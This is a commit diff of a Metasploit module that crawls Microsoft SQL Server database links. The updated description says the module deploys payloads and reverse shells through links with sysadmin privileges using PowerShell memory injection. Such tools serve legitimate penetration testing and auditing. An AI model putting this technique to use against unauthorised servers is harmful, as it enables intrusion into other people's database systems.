@@ -7,21 +7,35 @@ class Metasploit3 < Msf::Exploit::Remote
7
7
include Msf ::Exploit ::Remote ::MSSQL
8
8
include Msf ::Auxiliary ::Report
9
9
include Msf ::Exploit ::CmdStagerVBS
10
- #include Msf::Exploit::EXE
11
10
12
11
def initialize ( info = { } )
13
12
super ( update_info ( info ,
14
13
'Name' => 'Microsoft SQL Server - Database Link Crawler' ,
15
- 'Description' => %q{When provided credentials, this module will crawl
16
- SQL Server database links and identify links configured with sysadmin privileges.} ,
14
+ 'Description' => %q{This module can be used to crawl MS SQL Server
15
+ database links and deploy metasploit payloads through links configured
16
+ with sysadmin privileges using a valid SQL Server Login. If you are
17
+ attempting to obtain multiple reverse shells using this module we
18
+ recommend setting the "DisablePayloadHandler" advanced option to "true",
19
+ and setting up a multi/handler to run in the background as a job to
20
+ support multiple incoming shells. If you are interested in deploying
21
+ payloads to spefic servers this module also supports that functionality
22
+ via the "DEPLOYLIST" option. Currently, the module is capable of
23
+ delivering payloads to both 32bit and 64bit Windows systems via
24
+ powershell memory injection methods based on Matthew Graeber's work.
25
+ As a result, the target server must have powershell installed.
26
+ By default, all of the crawl information is saved to a CSV formatted
27
+ log file and MSF loot so that the tool can also be used for auditing
28
+ without deploying payloads.} ,
17
29
'Author' =>
18
30
[
19
- 'Antti Rantasaari <antti.rantasaari@ netspi.com>' ,
20
- 'nullbind <scott.sutherland@ netspi.com>'
31
+ 'Antti Rantasaari <antti.rantasaari [at] netspi.com>' ,
32
+ 'Scott Sutherland " nullbind" <scott.sutherland [at] netspi.com>'
21
33
] ,
22
- 'Platform' => [ 'Windows ' ] ,
34
+ 'Platform' => [ 'win ' ] ,
23
35
'License' => MSF_LICENSE ,
24
- 'References' => [ [ 'URL' , 'http://www.netspi.com/' ] ] ,
36
+ 'References' => [ [ 'URL' , 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012' ] ,
37
+ [ 'URL' , 'http://msdn.microsoft.com/en-us/library/ms188279.aspx' ] ,
38
+ [ 'URL' , 'http://www.exploit-monday.com/2011_10_16_archive.html' ] ] ,
25
39
'Platform' => 'win' ,
26
40
'DisclosureDate' => 'Jan 1 2000' ,
27
41
'Targets' =>
@@ -473,7 +487,7 @@ def powershell_upload_exec(path)
473
487
474
488
# Write base64 encoded powershell payload to temp file
475
489
# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
476
- # Also, line number tracking was added so that duplication lines causes by nested linked
490
+ # Also, line number tracking was added so that duplication lines caused by nested linked
477
491
# queries could be found and removed.
478
492
print_status ( "Deploying payload..." )
479
493
linenum = 0
0 commit comments